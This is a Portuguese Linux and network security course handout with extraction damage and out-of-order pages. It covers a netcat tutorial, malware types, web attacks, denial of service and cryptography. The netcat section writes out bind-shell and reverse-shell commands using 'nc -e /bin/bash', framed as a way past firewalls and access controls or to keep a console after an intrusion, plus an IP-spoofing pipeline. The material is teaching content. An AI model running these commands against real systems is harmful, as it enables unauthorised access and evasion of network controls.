em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 6: Curso de segurança em linux e redes em geral

na limitaccedilatildeo de que um serviccedilo tem que aceitar um nuacutemero de conexotildees por vez Um doscuidados que devem ser tomados quando da configuraccedilatildeo dos equipamentos de rede eacute que elesnatildeo possam ser usados como fontes de ataques bem como contra os ataques propriamente ditosuma das formas de se fazer a segunda parte e retirar os serviccedilos que natildeo estatildeo sendo utilizadosoutra forma eacute realizar uma constante verificaccedilatildeo do traacutefico do site assim sendo quando umaatividade anormal for detectada uma atitude correspondente deve ser adotada como por exemplobloquear um endereccedilo de IPProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 6 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20052) MalwareDesde novembro de 1988 quando Robert Morris lanccedilou seu verme na internet a miacutedia apresentouo coacutedigo malicioso como se fosse um desastre natural o que natildeo deixa de ser uma verdade visto seusefeitos e como as pessoas se comportamOs viacuterus aleacutem de serem desastrosos para a produtividade de uma empresa devido ao seucomportamento epidecircmico ele pode consumir uma sensiacutevel parte da largura de banda de uma rede decomputadoresAtualmente existe mais de 40000 tipos distintos de viacuterus registrados Dos viacuterus conhecidos trecircs sedestacam pelo seu poder destrutivo e pelo seu modo de operaccedilatildeo O viacuterus ldquoMelissardquo desenvolvido porDavid Smith em 1999 causou um dano total de US$ 80 mil O viacuterus I love You causou um dano totalde US$ 10 bilhotildees e desativou mais de 10000 empresas incluindo o Departamento de Defesa NorteAmericano (DOD)Um dos motivos de raacutepida proliferaccedilatildeo do Viacuterus I love you foi causada pelo uso do cataacutelogo deendereccedilos do Microsoft Outlook Express e por explorar a curiosidade do usuaacuterioComo acontece no mundo real a cura para estas pragas estaacute sempre um passo atraacutes do seudesenvolvimento E atualmente os viacuterus deixaram de ser um pequeno incomodo se tornando uma realameaccedila para a comunidade comercial21) Ciclo de Vida do Viacuterus- Nascimento- Lanccedilamento- Proliferaccedilatildeo- Disparo

- Ativaccedilatildeo- Detecccedilatildeo- Eliminaccedilatildeo- Mutaccedilatildeo (volta ao primeiro estaacutegio)Os viacuterus podem utilizar vaacuterios meios de transporte originalmente os disquetes e os arquivosbaixados de BBS eram a principal fonte atualmente os e-mails e as redes promiacutescuas satildeo os dois maioresProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 7 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005grupos de risco de contaminaccedilatildeoAtualmente muitos viacuterus natildeo necessitam que o usuaacuterio executem um arquivo anexado basta abrir oe-mail ou visitar um site que o mesmo eacute automaticamente acionado22) Tipos de ViacuterusOs principais tipos de viacuterus satildeo1 Viacuterus de infecccedilatildeo de arquivos - um dos primeiros tipos de viacuterus Quando arquivosinfectados eram executados o viacuterus era automaticamente executado e se proliferavapara os demais arquivos executaacuteveis existentes no sistema2 Viacuterus do setor de boot - pouco comuns na atualidade foram uma praga no passadoeram carregados antes da execuccedilatildeo do sistema operacional e contaminavam todos osdemais discos inseridos no sistema Atualmente este tipo de viacuterus natildeo causa grandesdanos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes3 Viacuterus de Macro - usam as linguagens de macro dos programas para infectar seusarquivos de dados Satildeo Viacuterus especiacuteficos dos programas e atacam principalmentedocumentos do Microsoft Word e Microsoft Excel4 Virus de Sript - satildeo escritos utilizando-se de programaccedilatildeo script principalmenteVisual Basic Script e Java Script normalmente ativos quando um e-mail eacute aberto ou umsite visitado5 Viacuterus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores deviacuterus e anti-viacuterus como as assinaturas dos viacuterus satildeo normalmente sua forma dedetecccedilatildeo os viacuterus comeccedilaram a cifrar e embaralhar seus coacutedigos todas as vez que satildeoexecutados6 Viacuterus Polimorfico - satildeo viacuterus que possuem um sistema ativo de mutaccedilatildeo que natildeo

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto 